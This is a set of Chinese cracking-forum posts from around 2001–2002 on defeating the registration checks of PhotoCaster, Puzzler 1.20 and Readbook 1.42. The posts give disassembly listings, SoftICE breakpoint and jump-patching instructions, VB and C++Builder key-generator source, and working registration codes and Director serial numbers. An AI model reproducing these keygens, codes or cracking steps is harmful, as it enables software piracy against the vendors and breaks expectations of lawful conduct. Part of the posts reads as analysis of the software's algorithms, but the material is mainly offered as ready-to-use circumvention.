:1001C907 mov dword ptr [ebp+6Ch], 1
:1001C90E mov eax, [ebp+5Ch]
:1001C911 mov edi, [esp+6Ch+arg_0] ;注册码
:1001C915 or ecx, 0FFFFFFFFh
:1001C918 mov [eax+14h], bl
:1001C91B mov edx, [ebp+5Ch]
:1001C91E xor eax, eax
:1001C920 add edx, 14h
:1001C923 repne scasb
:1001C925 not ecx
:1001C927 sub edi, ecx
:1001C929 mov eax, ecx
:1001C92B mov esi, edi
:1001C92D mov edi, edx
:1001C92F shr ecx, 2
:1001C932 repe movsd
:1001C934 mov ecx, eax
:1001C936 and ecx, 3
:1001C939 repe movsb
:1001C93B mov ecx, ebp
:1001C93D mov esi, 1 ;旗标
:1001C942 call sub_1001B650 ;注册信息写回文件
:1001C947 pop ebp
:1001C948 mov eax, esi ;注册成功
:1001C94A pop edi
:1001C94B pop esi
:1001C94C pop ebx
:1001C94D add esp, 5Ch
:1001C950 retn 4
:1001C950 sub_1001C640 endp

根据上面的计算程序，我用VB编了一个函数，传递参数为Unlock Code，返回值为计算结果，如果返回值等于常数+第6个字符的变换值就说明注册码正确。程序如下：
Function GetSerial(regcode As String)
Dim Serial As String, i As Integer, j As Integer, k As Integer
Dim ebp As Integer, al As Integer, bl As Integer, cl As Integer, dl As Integer
Dim eax As Integer, ebx As Long, ecx As Long, edx As Long, esi As Long, edi As Long
Serial = regcode
bl = 1: ebp = 0
For i = 1 To 5 '对5个注册码字符变换
edi = CInt(Mid(regcode, i, 1)): cl = edi Mod 5
j = i + 1
If i = 5 Then j = 1
eax = cl + 1: cl = CInt(Mid(regcode, j, 1)): dl = bl * cl

If CInt(Mid(Serial, eax, 1)) + dl < 0 Then '检测变换的字符是否有“负值”，如果有则返回
GetSerial = "负值！" '表示该Unlock Code错误
Exit Function
End If
Mid(Serial, eax, 1) = CStr((CInt(Mid(Serial, eax, 1)) + dl) Mod 10)
dl = CInt("&H" + Right(Hex(dl), 2)) '取低位，即1001C7C7语句
'以上对应于程序的1001C775-1001C7D5语句

ecx = 1: esi = 0
For j = 1 To 5
edx = CLng(Mid(Serial, j, 1))
edx = edx * ecx: esi = esi + edx: ecx = ecx * 10
If j = ebp + 1 Then ebx = ecx
Next j
'以上对应于程序的1001C7DA-1001C7F6语句

al = 2 * (ebp Mod 12) + 1
al = CInt("&H" + Mid("070B0D1113171D1F25292B2F", al, 2)) '其实字符串取前5个就行了
edx = dl * ebx * bl: esi = esi + al * edi + edx
'以上对应于程序的1001C7F8-1001C82A语句

For j = 5 To 1 Step -1
ecx = ecx / 10: ebx = esi: ebx = ebx \ ecx
ebx = CLng("&H" + Right(Hex(ebx), 2)) Mod 10
Mid(Serial, j, 1) = CStr(ebx)
esi = esi Mod ecx
Next j
'以上对应于程序的1001C82D-1001C85D语句

bl = -bl: ebp = ebp + 1
Next i
GetSerial = Serial
End Function

根据上面的函数，我编了一个算码程序，共找到了15个注册码，介绍其中好记的一个：98567G

标 题:PhotoCaster v3.0.3软件产品号(ProductID)生成部分的分析 (7千字)
发信人:robot
时 间:2001-11-22 23:09:05
详细信息:

软件简介：见前面
前言：我将我最早找到的注册码240521和98567G给那位网上的朋友后，他回复说不能注册成功，那么就说明问题肯定是ProductID不同所致，这就否定了网上的那篇PhotoCaster v2破解文章所述的与“一个常数”异或运算的说法，这样就激起了我分析ProductID产生的雄心，还好，这次又让我给分析着了。于是我想，既然在我的机器上能生成该“常数”——23675，那么肯定有一段程序是生成它的。开始我想bpm该内存地址，看看那个地方给该地址赋值，但失败了，因为它在内存中的地址是变化的(事后想想，这样做虽然有点投机取巧，想省点事，但方法确实有点傻)。于是我只好从Director调入该xtra入手，来分析其生成过程。如果该xtra的设计者在生成这个常数之前绕来绕去，进行大量转换(如密码学)，我想我会基本绝望并放弃的——除非这个xtra的ProductID对我来说，跟饭碗和生命相关，必须要分析出来。
过程：启动Director8.5，Ctrl+D激活SoftICE，设断：bpx loadlibrarya，选择Insert PhotoCaster，这时会被SoftICE拦截，进入到PhotoCaster领空后，F10跟踪，每次F10带过一个call后，都搜索一下内存中是否生成了23675，幸好在生成23675之前的call不太多，最后来到下面：
:1001A0C1 mov ecx, esi
:1001A0C3 call sub_10012FA0 ;F10带过这步后，产生常数23675和ProductID，追进去看看

10012FA0的call：
:10012FDD push 1Eh
:10012FDF push edx
:10012FE0 push 0
:10012FE2 push eax
:10012FE3 call dword ptr [ecx+0Ch] ;取Director的安装序列号，我的是WDW850-02044-87235-26475

:10012FE6 test eax, eax ;是否成功
:10012FE8 mov [esp+4Ch+var_40], eax
:10012FEC jnz short loc_10012FFC ;没有得到序列号则转
:10012FEE lea edi, [esp+4Ch+var_30] ;Director序列号
:10012FF2 or ecx, 0FFFFFFFFh
:10012FF5 repne scasb
:10012FF7 not ecx
:10012FF9 dec ecx
:10012FFA jnz short loc_1001302A
:10012FFC mov edi, offset aDrw80012345123 ; "DRW800-12345-12345-12345"

:10012FFC-10013028的语句：Director序列号用"DRW800-12345-12345-12345"代替，语句略

:1001302A lea edi, [esp+4Ch+var_30] ;Director序列号
:1001302E or ecx, 0FFFFFFFFh
:10013031 xor eax, eax
:10013033 repne scasb
:10013035 not ecx
:10013037 dec ecx
:10013038 cmp ecx, 9
:1001303B jge short loc_10013049 ;序列号的长度大于等于9则转
:1001303D pop edi
:1001303E pop esi
:1001303F mov eax, 0FFFFFED0h ;失败标志
:10013044 pop ebp
:10013045 add esp, 30h
:10013048 retn
:10013049 lea esi, [esp+ecx+4Ch+var_31] ;esi指向序列号的最后一位
:1001304D mov ecx, 1 ;置初值
:10013052 lea edx, [esp+4Ch+var_34] ;存放要取的序列号
:10013056 mov al, [esi]
:10013058 cmp al, 30h
:1001305A jl short loc_10013064
:1001305C cmp al, 39h
:1001305E jg short loc_10013064 ;不是0-9的数字则取下一个字符
:10013060 mov [edx], al ;取得的数字放此
:10013062 inc ecx
:10013063 dec edx
:10013064 dec esi
:10013065 lea eax, [esp+4Ch+var_30]
:10013069 cmp esi, eax ;序列号全取完了吗？
:1001306B jb short loc_1001303D ;取完了则转
:1001306D cmp ecx, 9 ;取满了9个数字？
:10013070 jle short loc_10013056 ;没有则转
10013049-10013070表示：从Director序列号的尾部开始取9个数字，我的结果为723526475

:10013072 lea ecx, [esp+4Ch+var_40]
:10013076 lea edx, [esp+4Ch+var_3C] ;所取的9个数字
:1001307A push ecx
:1001307B push edx
:1001307C mov ecx, ebp
:1001307E call sub_10013210 ;根据这9个数字生成ProductID的部分字符
这个call的计算过程如下：
每次取3个数字，用a表示，则
(1) a*0.914285715/32；如：723*0.914285715=661，661\32=20
(2) a mod 23h，得到余数；如723 mod 23h=723 mod 35=23
根据这两个值从"0-9A-Z"中取相应的字符，则723经过计算取得的字符为：K和N
这样，共得到三组6个字符，我的是KNF1DK

:10013083 mov esi, eax
:10013085 lea eax, [esp+4Ch+var_40]
:10013089 push eax
:1001308A push esi
:1001308B mov ecx, ebp
:1001308D call sub_100130E0 ;生成产品号
过程：PhotoCaster文件的第1个字符+6个字符的前2个+" - "+后4个字符，知道文件格式的人都清楚，xtra的第一个字符是M，这样，我的PhotoCaster的ProducID为：MKN - F1DK，共10个字符

:10013092 push esi
:10013093 mov ecx, ebp
:10013095 mov [ebp+0Ch], eax
:10013098 call sub_10012F80
:1001309D mov eax, [esp+4Ch+var_40]
:100130A1 test eax, eax
:100130A3 jnz short loc_100130CE
:100130A5 lea ecx, [esp+4Ch+var_40]
:100130A9 lea edx, [esp+4Ch+var_3C]
:100130AD push ecx ;所取的9个数字
:100130AE push 0CBh ;换成二进制就是011001011b
:100130B3 push edx
:100130B4 mov ecx, ebp
:100130B6 call sub_10013190 ;生成比较注册码正确与否的5个数字
该固定计算值的生成过程：取CBh为1的对应的数字，则从9个数字中分别取第2、3、6、8、9位的数字，就得到了23675

:100130BB pop edi
:100130BC mov [ebp+10h], eax
:100130BF mov eax, [esp+48h+var_40]
:100130C3 pop esi
:100130C4 pop ebp
:100130C5 add esp, 30h
:100130C8 retn

这样，知道了ProductID和固定常数的生成过程，该软件的注册器就可以做了。

附记：PhotoCaster v2.0.5破解文章的作者说的“一个常数”其实也并没有错，虽然他尝试了很多机器，发现都是这个数，但我想，他做梦也不会想到PhotoCaster竟会用Director的序列号来生成自己的ProductID，但通过我这篇的分析文章就会明白，即使他尝试更多的机器，还会是相同的“一个常数”——安装时填入的Director的序列号都相同嘛。如果安装的Director是Z版的话，几乎是一机一号，那么PhotoCaster的ProductID也就可能出现不同了。那个作者在安装Director时手上要是多几个Director安装序列号的话，他的那篇文章就会能更深一步去分析ProductID的生成过程。还有，应该感谢网上的那个朋友(huihuicn)，如果不是他回复说注册码不能用并说PhotoCaster v2在Director v8和v8.5的注册码是不同的话，如果他安装的Director不是v8而是v8.5并且安装序列号也和我的一样的话，我也可能会出现和PhotoCaster v2破解作者一样的观念。现在，他把这个机会让给我了。
还有，我想做一个根据ProductID计算常数的程序，一般来讲，软件虽然升级，但通常注册码计算的改动却不一定太大，但我用这个程序就是找不出来v2.0.5的9个数字，于是我想，难道v3.0.3和v2.0.5的注册码的计算变化很大吗？于是只好请求网上的那位朋友将他手上的v2.0.5版给我，我反编译一看，注册码的计算过程与v3.0.3完全一样！注册码的生成过程也跟v3.0.3基本一样，不同的有两点：(1)v3.0.3版如果得不到Director的序列号则由DRW800-12345-12345-12345代替，而v2.0.5版如果得不到则产生错误信息并退出；(2) 取“常数”的部位不同，v2.0.5如下：

:10009BB4 push 14Eh ;二进制就是101001110b，那么就是取9个数字的1、3、6、7、8位的数字
:10009BB9 push edx
:10009BBA mov ecx, ebp
:10009BBC call sub_10009C90 ;生成常数

于是我又把他的破解文章里的ProductID验算了一下，发现他写的MK9-RACA是错的，而应该是MK9-QACA，常数79043没错，他使用的Director的序列号应该是：WDW700-04074-07099-20430(这个序列号对于较早免费使用Director的人来说，应该是很熟悉的噢^_^)，用我做的算号器搜索了一下v2的注册码(运算时间好长，将近1个小时，从注册码的运算过程来看，用逆算法反推出注册码基本是不可能的，谁若是会的话，教教我)，共找到40组可用的注册码(还会找到更多！)，但和v2破解文章不同的是，我搜索到的注册码中没有他的第3个注册码：653467，我想，他算的第3个应该是错的，不信，谁有条件试试，看我说的对不对。

标 题:这将是我今年的最后一篇 (116字)
发信人:robot
时 间:2001-11-22 23:14:59
详细信息:

工作太忙了，还有一本书的一章需要我去写，我还没有动笔。元旦我的大学同学全班要在北京毕业10周年聚会，也许都不能参加了。

标 题:版本虽旧，但可以作此教程另一种破解之法的补丁之用！ (8千字)
发信人:1212
时 间:2001-11-22 23:41:28
详细信息:

PhotoCaster 2拆解手记
PhotoCaster 2是著名的多媒体创作工具Director 7的一个内置插件，它可以直
接导入用PhotoShop制作的分层PSD图形，并按原样在舞台上自动排列。未注册
版会在导入的图形中加上很多蓝色的斜线，从而导致无法正常使用。
我拆这个插件的原因除了为减轻本公司制作人员的工作负担之外，更重要的是
我在网上找到的唯一一个由著名的SIGEG组织制作的破解版竟然未能完全拆开。
致使有很多网友不得不舍弃Director 7内置的PhotoCaster 2.0.3而去使用早
期功能尚不完备的PhotoCaster 1.1.2破解版。
为了能让网友们用上最新版本，我走上了漫漫破解之路(这是我花了二十余天
业余时间拆完之后回头一看才发现的:-D)
一、首先，由于SIGEG的破解版已能成功注册，并能够去除部分斜线，因此我决
定先研究一下SIGEG的破解方法：
1、将Director 7自带的PhotoCaster 2插件复制并更名为P1.x32，将SIGEG破解
的PhotoCaster 2插件复制并更名为P2.x32，切换到MS-DOS窗口，使用DOS的文件
比较命令FC进行分析：(在提示符下输入如下指令）
FC P1.x32 P2.x32/B >diff.txt
即按二进制文件格式比较两个文件，并将结果保存到diff.txt中。
2、返回Windows 98，在记事本中打开diff.txt文件，发现两个文件共有六处不
同，将其相应地址记下。
3、使用反汇编软件Wasm 8.93对该插件进行反编译（尽管插件的扩展名为x32，
其实是32位的EXE文件格式，故而能够成功进行反编译）
4、在刚才记录的相应地址进行察看，发现六处改动的语句相同，原来均为
XOR ECX,EDX(即将寄存器ECX和EDX进行异或运算)，而此句之后除第一处为
ADD EDI,ECX之外，其余均为ADD EDI,EDX，可见密码运算结果应该与这两句
有关，SIGEG对它们的处理是将第一处的XOR ECX,EDX改为XOR ECX,ECX其余
几处均改为XOR EDX,EDX(或其等效语句），从而使与EDI相加的值恒为0，
这样以图达到使密码计算程序无效的目的，然而实践证明这样做虽能正常注
册，但却不能完全去掉加在图面上的斜线(只能去掉一部分，剩下的部分
和输入的密码有关)
二、通过试验，发现PhotoCaster 2能够记录已导入的图层数、已输入的密码
值等等，因此可以断定它一定有写文件或注册表的动作。那么我们可以看一
下：
1、如果是在注册表中搞鬼的话，通常我们可以使用注册监测软件RegMon来进
行监视(一定要设置好过滤选项，让它只显示你要拆解的软件，否则...)不过
PhotoCaster似乎不是在注册表中记录信息的。
2、如果是通过文件记录的话，可以通过非常简单的方法搞定，首先将你的系
统时间改为2000年(或者是将来随便的哪一年、哪一天)，然后不要运行其它
软件，直接运行Director，并且不进行其它操作，直接调出PhotoCaster进行
注册(即使注册失败也不会有任何提示，只是将输入框清空，可见PhotoCaster
是有备而来的哦！)
3、在"开始"菜单中选"查找"，并设定好查找2000年的文件，结果只有几个，其
中在C:\Windows系统目录下有一个名为PhotoCaster 2 Prefs_D7.PRF的文件，
不用说，一定和注册有关！用UltraEdit或其它十六进制编辑软件打开看看吧！
其内容大致如下：
FE ED AC DC 00 00 00 64 00 00 40 87 00 00 00 00
00 00 00 00 FF 00 00 00 00 00 00 00 00 00 00 00
经试验，发现前四位为特征字，第十位到第十二位(00 40 87)为界面上各选项
的选择记录，第十三位为已输入注册号的次数（当此数达到33即十进制的51时
无论你输入任何密码均会报告注册成功，而实际上根本没有注册，可见它对穷
举试验法也有所防范），第二行的头四位用来记录已导入的层数，如果是未注
册版，允许你正常导入十层单层图，超过十层时就会发出警告，并且即使你再
导入单层图也会加上斜线。第二行的第五位至第十位为密码记录位，当未注册
成功时为FF 00 00 00 00 00,注册后则为你输入的注册号(不要以为改了这里
就行了，PhotoCaster每次都会从这里读出密码再进行计算，如果不是真正的
注册号，仍然不能正常工作)，怎么样，够劲儿吧？
4、看起来不动点真格的是不行了。要想彻底拆开，恐怕还是得使用Softice。
首先涉及到的问题就是断点的设置。通常情况下，最常用的断点设置方法
是先在密码框中随便输入一个密码，然后按Ctrl+D激活Softice，并输入
bpx hmemcpy，即当程序读取密码时中断，按F5切回程序，按下"确定"或者
是"注册"之类的按钮进行注册，Softice弹出后，用bd *命令禁止所有断点，
以免发生重复中断，接下来按F12键直到发生错误为止，一定要记住按F12的
次数，再次按Ctrl+D激活Softice，用be *使断点再次生效，然后重复上面的
步骤，但要记得少按一次F12，然后改为按F10，直到发生错误为止，记住按
F10的次数，再重复一次上述操作，F10也要少按一次，一般说来，比较简单
的加密到这里就差不多可以破解了，从最后一句（这里通常情况下都是一个
CALL语句，是用来调用出错子程序显示信息的）向上找，通常都会找到这样
的语句之一：PUSH(将数据压入堆栈)、MOV(赋值)、LEA(调用有效地址)等等，
这些都是用于保存密码的，然后会有一个比较语句如CMP或XOR等，再接下来
是一个跳转语句如JMP、JZ、JNZ等等，而这些跳转语句通常都指向或跳过出
错子程序调用，如果是相等跳转JZ则改为无条件跳转JMP，如果是不等跳转，
则改为空操作NOP(因为一个NOP只占一个字节，通常要用几个NOP填满原位)。
可输入CODE ON命令，在代码窗口中显示语句的相应十六进制码，也就是它们
在程序源文件中实际存储的样子，记录后使用UltraEdit等软件更改源程序中
相应的代码即可完成破解。
然而现在的许多软件为了防止被这样简单破掉，经常在比较注册码后再
做一些其它的事情，使得你在上述方法中最后一步向上察看时找不到真正比
较密码的地方。不幸的是，PhotoCaster正是这种情况，此类软件通常会表
现出如下症状：不弹出对话框，直接清空输入框(PhotoCaster就是如此)。
或者先清掉原先的窗口，再弹出对话框，而不是直接弹出对话框等等。
虽然这些软件到处兜圈子，但是仍可以轻易找到密码比较程序之所在，
你只要注意到每次使用bpx hmemcpy中断后代码窗的情形就会明白：在程序
调用Windows功能的时候，代码窗口中的地址大多为XXXX:XXXX(即4位:4位)
的格式，在经过一次JMP XXXX:XXXXXXXX语句后，代码窗口中的地址则会变
为XXXX:XXXXXXXX(4位:8位)的格式，而代码窗口下面直线的中间或者上面
直线的左边也会显示出当前程序段所在位置，如PhotoCaster.text+XXXX的
字样，这就说明已经进入了PhotoCaster的地盘了，差不多每个加密者都会
先比较一下密码然后再去做别的，因此当你按F12到XXXX:XXXXXXXX形式的地
址时就应该注意改为用F10进行追踪了。当遇到一个CALL后出错时记下它的
位置，下次再追到此处时就可以分析一下这一句前面和后面的句子了，如果
走运的话，就可以找到刚才说的比较程序了(PUSH EDI、CMP EDI,EBX、JZ等)
照样一改就可以了，或者用?EDI等命令看一下被比较的寄存器或地址内的值
说不定可以直接看到注册码呢！
可惜PhotoCaster又不是此类情况。
拆到这儿，我觉得应该换一种断点试一下，于是就在选层导入的对话框
中设置了一个bpx destorywindow(即在注销窗口时中断)，然后追到出现渲
染框为止，因为我觉得既然未册版单层可以正常导入，必定有一个判定的地
方，通过分析发现，导入单层和多层竟然不走一个子程序，强行跳过后则无
论选中多少层都只导入最后一层，而被跳过的部分中一连调用了好几层子程序
实在不容易分清究竟是哪个子程序给画面加上了蓝条条。
最后，我不得不面对最根本的解决办法：破译加密子程序中所有算法，
自己算出注册码！
经过多日苦战(光笔记本就用了三、四个)，终于弄清了PhotoCaster的全部
算法：它的密码共有六位(这是第一处关卡，如果不对就会出错)，首先它根据
程序的序号MK9-RACA算出一个常数79043，因为我试验了很多机器证实此序号
为PhotoCaster2的不变序号，因此就没有深究它是如何计算这个常数的。接下
来它取密码的最后一位与79043相加，所得的值保存起来。然后就进入了对其它
五位密码的大段计算过程，最后将计算结果与刚才的加和相比，如果相等则通
过(别想改此处的跳转，全部程序中用到密码的地方不下六处呢，还是老老实实
地算吧)。经过反复的试验和分析，终于搞懂了其余五位的加密算法。其中包括
位替换、逆序、与常数相乘、加和等等共计五大步二十小步的计算。
下面是我按照所破译的算法用VB作的计算程序：
界面上共有一个按钮(执行计算用)、五个文本框，这些文本框为：
text1:输入测试初值(初始化为0)
text2:输入测试终值(初始化为10000)
text3:显示计算结果(初始化为0)
text4:输入比较值(即第6位+79043的值，初始化为79043)
text5:显示状态(是否成功)
其中只有按钮中有程序，内容如下：
Private Sub Command1_Click()
Dim s(4)
Dim d(4)
Dim num, restn, source, rests, fir, sec, result
Dim i, j, p, t
fir = Text1.Text
sec = Text2.Text
result = Text4.Text + 0
For source = fir To sec
rests = source
For i = 0 To 4
s(i) = Fix(rests / 10 ^ (4 - i))
rests = rests Mod 10 ^ (4 - i)
Next i
d(0) = s(0)
d(1) = s(1)
d(2) = s(2)
d(3) = s(3)
d(4) = s(4)
For i = 0 To 4
t = s(i) Mod 5
Select Case i
Case 0
d(t) = d(t) + s(1)
d(t) = Right(d(t), 1)
Case 1
d(t) = d(t) - s(2)
If d(t) < 0 Then
d(t) = 0
End If
Case 2
d(t) = d(t) + s(3)
d(t) = Right(d(t), 1)
Case 3
d(t) = d(t) - s(4)
d(t) = Right(d(t), 1)
If d(t) < 0 Then
d(t) = 0
End If
Case 4
d(t) = d(t) + s(0)
d(t) = Right(d(t), 1)
End Select
num = d(4) * 10000 + d(3) * 1000 + d(2) * 100 + d(1) * 10 + d(0)
Select Case i
Case 0
num = num + 10 * s(1) + 7 * s(0)
Case 1
num = num - 100 * (256 - s(2)) + 11 * s(1)
Case 2
num = num + 1000 * s(3) + 13 * s(2)
Case 3
num = num - 10000 * (256 - s(4)) + 17 * s(3)
Case 4
num = num + 100000 * s(0) + 19 * s(4)
End Select
restn = num
For j = 0 To 4
p = Fix(restn / 10 ^ (4 - j))
restn = num Mod 10 ^ (4 - j)
If p >= 0 Then
p = Right(p, 1)
d(j) = p
Else
p = Right(p, 1)
p = 16 - p
p = Right(p, 1)
d(j) = p
End If
Next j
num = d(0) * 10000 + d(1) * 1000 + d(2) * 100 + d(3) * 10 + d(4)
restn = num
For j = 0 To 4
d(4 - j) = Fix(restn / 10 ^ (4 - j))
restn = restn Mod 10 ^ (4 - j)
Next j
Next i
num = d(0) * 10000 + d(1) * 1000 + d(2) * 100 + d(3) * 10 + d(4)
If num = result Then
Text3.Text = source
Text5.Text = "成功了!"
Exit For
Else
Text3.Text = 0
Text5.Text = "没找到!"
End If
Next source
End Sub

有兴趣的网友可以研究一下具体的加密算法。
最后，我用它算出了三组有效的注册码：
868541
304323
653467
希望我的工作能为从事多媒体制作的网友们提供一点方便。
也希望我的拆解过程能给爱好Crack的网友一点帮助。

newx@21cn.com


PUZZLER1.20

 标 题:PUZZLER1.20破解过程 (4千字)
发信人:波导终结者
时 间:2002-1-26 1:17:41
详细信息:
PUZZLER1.20，这个东西，朋友借我的光盘里找到的。我比较喜欢玩魔方，但我的那个魔方丢了，现在可以在电脑上玩，呵呵。
安装完后，发现这个东西确实不错，不仅有传统的魔方，还有好多变种，不过一点，它就跳出来说，要注册才能用。
工具：TRW，W32DASM
点ABOUT，点REGIST，跳出一个窗口，叫你输用户名，输入“波导终结者”，点OK，再跳出来一个
窗口，叫你输注册码，注册码不正确没有提示。用户名和注册码分两个窗口输，这种形式，我还
是第一次见到。不要紧，我们用W32DASM反汇译PUZZLER.EXE，查找REGIST，第一次，找到弹出来
说不注册不能用的窗口，我们要的不是暴破，再找一次，找到下面。
:0040D39E 68A06B4100 push 00416BA0
:0040D3A3 8BCD mov ecx, ebp
* Reference To: UFC.??4CUString@@QAEAAV0@PBD@Z, Ord:0044h
|
:0041902A FF1538C34100 Call dword ptr [0041C338]
:00419030 8B5C2448 mov ebx, dword ptr [esp+48]
:00419034 85DB test ebx, ebx
:00419036 741C je 00419054
:00419038 8BCE mov ecx, esi

* Reference To: UFC.?AddUpASCII@CUString@@QAEKXZ, Ord:00D3h
|
:0041903A FF154CC34100 Call dword ptr [0041C34C]
:00419040 8BC8 mov ecx, eax
:00419042 C1E108 shl ecx, 08
:00419045 03C8 add ecx, eax
:00419047 8D14C8 lea edx, dword ptr [eax+8*ecx]
:0041904A 8D0450 lea eax, dword ptr [eax+2*edx]
:0041904D 8D0440 lea eax, dword ptr [eax+2*eax]
:00419050 3BD8 cmp ebx, eax
:00419052 740D je 00419061
④这里又是最近的一个跳转，看看cmp ebx, eax，很可能就是比较。在这里下断，d eax，看见数值FF950188，再看ebx，是3B1AE。把用户名和假注册码都换掉，再看eax 和ebx的数值，都发生了变化！把用户名和注册码都换成1，看见eax为一个大数（我没记下来，歹势），看见ebx为1。再把用户名和注册码换为2，看见eax变化了，ebx为2。

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00419036(C)
|
:00419054 6828474200 push 00424728
:00419059 8BCE mov ecx, esi

* Reference To: UFC.??4CUString@@QAEAAV0@PAD@Z, Ord:0043h
|
:0041905B FF156CC34100 Call dword ptr [0041C36C]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00419052(C)
|
:00419061 8BCE mov ecx, esi

* Reference To: UFC.?GetLength@CUString@@QBEHXZ, Ord:012Ch
|
:00419063 FF1584C34100 Call dword ptr [0041C384]
:00419069 85C0 test eax, eax
:0041906B 7419 je 00419086
③于是在这个地方下断点，走到这里，看看寄存器内容，有一些数值，可能是注册码和用户名的变形，记下来。r fl z,之后，看看变化，软件主界面已经变成了“This copy of Puzzler is registered to:”但是，我们的用户名呢？再进入游戏，还是不能玩。把输的假用户名和注册码都换掉，看看这里寄存器的数值，还都一样！由此可见，这个跳转，只是把用户名赋给这个字串后面，但是为什么看不见用户名呢？很可能是注册码不正确，用户名根本没带到这个地方，于是，我们再向上看。
:0041906D 8B0E mov ecx, dword ptr [esi]
:0041906F 81C78C010000 add edi, 0000018C
:00419075 51 push ecx

* Possible StringData Ref from Data Obj ->"This copy of Puzzler is registered "
->"to:

%s"
②这一行意思就是说，这个软件已经注册给了XXX，由此往上看，上面的那个跳转很可能就是比较注册码。
|
:00419076 68303D4200 push 00423D30
:0041907B 57 push edi

* Reference To: MFC42.Ordinal:0B02, Ord:0B02h
|
:0041907C E867030000 Call 004193E8
:00419081 83C40C add esp, 0000000C
:00419084 EB14 jmp 0041909A

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041906B(C)
|
:00419086 81C78C010000 add edi, 0000018C

* Possible StringData Ref from Data Obj ->"Thank you for trying Puzzler!

Press "
->"F1 for help at any time"
①如果没注册的话是显示这行内容，而注册后则显示处内容。
|
:0041908C 68F03C4200 push 00423CF0
:00419091 57 push edi
⑤由此可见，程序在0041903A Call dword ptr [0041C34C]一行，把注册名通过一系列运算，得到一个值，放到00419050 cmp ebx, eax的eax里，ebx为注册的十六进制数值，进行比较。我们在00419050 cmp ebx一行，d eax，把数值记下来，换成十进制数，当做注册码输入，注册成功！
波导终结者[BCG][CNCG]

标 题:它的注册码计算过程是这样的... (454字)
发信人:Easycode
时 间:2002-1-26 1:39:59
详细信息:

首先将你输入的注册名的各个字符的ASC码值累加起来，得到一个数值，这里设其为SUM，然后用
如下的公式：

SUM1 = SUM + SUM * 256 ;
SUM2 = SUM + SUM1 * 8 ;
SUM3 = SUM + SUM2 * 2 ;
SUM4 = SUM3 * 3

SUM4即为十六进制的注册码
该软件支持中文注册名，想编注册机的朋友请参考以下如何处理中文ASC码值的代码(delphi）：

if ord( Edit1.text [ i ] ) > 128 then
j := j + ( ord ( Edit1.text [ i ] + $FFFFFF00)
else
j := j + (ord ( Edit1.text [ i ] );


Readbook

标 题:readbook的注册机源程序(c++builder5)
发信人dola1234
时 间:2002/01/30 11:57am
详细信息:

#include <vcl.h>
#pragma hdrstop

#include "readbook_RC.h"
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
Tform1 *form1;
//---------------------------------------------------------------------------
__fastcall Tform1::Tform1(TComponent* Owner)
: Tform(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall Tform1::calcClick(TObject *Sender)
{
char name[255],code[255]="";
int i;
long values=0;
for(i=0;i<255;i++)
name='\0x0';
if(edtName->Text.IsEmpty()){
edtCode->Text="";
return;}
strcpy(name,edtName->Text.c_str());
_asm
{
lea esi,name
mov eax,dword ptr [esi]
mov esi,eax
mov ecx,0x60606040
imul esi,esi,0x7531
imul ecx,ecx,0x7531
sub esi,ecx
mov eax,esi
mov values,eax
}
wsprintf(code,"%lu",values);
edtCode->Text=code;
}
//---------------------------------------------------------------------------


readbook 1.42

 标 题:关于readbook1.42中的注册校验问题 (10千字)
发信人:庄周梦蝶
时 间:2002-1-21 14:15:32
详细信息:
软件:Readbook 1.42
下载:随处可下
工具:SOFTICE4.05,WD32ASM.
此软件的阅读功能确实不错,如果你喜欢看书的话可选它.相信有很多人都跟过了,难度只是一般.
因为我这几天想玩<<幽城>>,安装一看,天啊! 要2.5G的硬盘,可我那台破机整个硬盘才4.3G,只好用
PQMAGIC痛苦的东挪西凑.后来无意中用READBOOK打开README,噫? 居然说我的注册码不对,这可是我以
前跟出来的啊! 再重新输一次,还是不对? 想一想我刚才改了C盘的空间(我的READBOOK装在C盘中),莫非
它是用硬盘的空间来加入注册运算的,可我又不想再TRACE一次,因为它存放注册码的地址老在内存中变
来变去,很容易跟丢,你可跟一次试试,呵呵! 想到它是在程序起动时跳出检查框的,可能在程序开始就进
行注册校验,而它的注册信息全放在READBOOK.INI中,所以就下bpx getprivateprofilestringa do
"d *(esp+8)",如果下: bpx getprivateprofilestringa if(*(esp+8)=='User')do "d *(esp+8)"
SOFTICE不能中断,哪位高手能否解释一下? 还是SOFTICE的条件中断不好使?
F5要按好多次,每次中断后看看数据窗里面是否有"User"这个词出现.有的话就按F12跳回READBOOK
的领空,接着就来到如下的代码:
* Possible StringData Ref from Data Obj ->"User"
|
:0040A001 68A0484600 push 004648A0
:0040A006 57 push edi
:0040A007 E8A0D30000 call 004173AC ---->此CALL读Readbook.Ini
的User名
:0040A00C 83C41C add esp, 0000001C
:0040A00F 389D44FFFFFF cmp byte ptr [ebp+FFFFFF44], bl
:0040A015 756D jne 0040A084
:0040A017 391DA4974B00 cmp dword ptr [004B97A4], ebx
:0040A01D 0F85DF010000 jne 0040A202
:0040A023 8D45EC lea eax, dword ptr [ebp-14]
:0040A026 50 push eax
:0040A027 E84CBE0200 call 00435E78
:0040A02C 8B00 mov eax, dword ptr [eax]
:0040A02E 53 push ebx
:0040A02F 8D4DFC lea ecx, dword ptr [ebp-04]
:0040A032 8945FC mov dword ptr [ebp-04], eax
:0040A035 E851BE0200 call 00435E8B
:0040A03A 8B700C mov esi, dword ptr [eax+0C]

* Possible StringData Ref from Data Obj ->"NowDay"
|
:0040A03D 6888474600 push 00464788
:0040A042 57 push edi
:0040A043 E807D40000 call 0041744F
:0040A048 59 pop ecx
:0040A049 3BF0 cmp esi, eax
:0040A04B 59 pop ecx
:0040A04C 0F84B0010000 je 0040A202
:0040A052 A14C5E4B00 mov eax, dword ptr [004B5E4C]
:0040A057 3BC3 cmp eax, ebx
:0040A059 0F84A3010000 je 0040A202
:0040A05F C6802803000001 mov byte ptr [eax+00000328], 01
:0040A066 A14C5E4B00 mov eax, dword ptr [004B5E4C]
:0040A06B 53 push ebx

* Possible Ref to Menu: MenuID_0080, Item: "s?A)ReadBook..."
|
:0040A06C 6840E10000 push 0000E140
:0040A071 6811010000 push 00000111
:0040A076 FF701C push [eax+1C]

* Reference To: USER32.PostMessageA, Ord:01DEh
|
:0040A079 FF1528264500 Call dword ptr [00452628]
:0040A07F E97E010000 jmp 0040A202

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A015(C)
|
:0040A084 8D8544FFFFFF lea eax, dword ptr [ebp+FFFFFF44]
:0040A08A 50 push eax
